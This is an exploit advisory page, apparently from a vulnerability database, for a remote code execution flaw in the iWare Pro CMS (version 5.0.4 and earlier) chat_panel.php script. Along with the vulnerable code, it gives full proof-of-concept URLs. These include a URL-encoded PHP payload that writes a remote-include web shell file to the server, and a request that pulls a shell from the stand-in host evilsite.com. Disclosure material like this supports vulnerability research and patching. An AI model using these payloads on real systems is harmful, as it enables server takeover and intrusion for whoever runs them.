Lucene search
K

iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability

🗓️ 08 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Executio

Code

                                                +-------------------------------------------------------------------------------------------
+ iWare Pro &lt;= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: iWare Professional CMS &lt;= 5.0.4
+ Vendor ............: http://www.dsiware.com/
+ Download ..........: http://dsiware.com/download.php
+ Description .......: &quot;iWare is a Open Source PHP &amp; MySQL Content Management System&quot;
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid &lt;nuffsaid[at]newbslove.us&gt;
+-------------------------------------------------------------------------------------------
+ Details:
+ iWare admin/mods/simplechat_1.0.0/chat_panel.php does not sanatize the $message variable
+ in the first argument of the PostMessage() function on line 11 before writing the variable
+ contents to chat_log.php on line 25. When chat_panel.php is requested, the PostMessage()
+ function is called on line 32 and $_REQUEST['msg'] is written to chat_log.php unsanatized.
+
+ Vulnerable Code: 
+ admin/mods/simplechat_1.0.0/chat_panel.php, line(s) 11-32:
+ -&gt; 11: function PostMessage($message) {
+ -&gt; 16:  $new_message = &quot;&quot;.$message.&quot;&lt;br /&gt;\n&quot;;
+ -&gt; 23:  $open_file = fopen(&quot;chat_log.php&quot;, &quot;w&quot;);
+ -&gt; 25:  fputs($open_file, stripslashes($new_message));
+ -&gt; 28:  fclose($open_file);
+ -&gt; 29: }
+ -&gt; 32: if($_REQUEST['talk']==1){PostMessage($_REQUEST['msg']);}
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&amp;msg=[evilcode]
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -&gt; http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&amp;msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E
+ -&gt; http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -&gt; http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation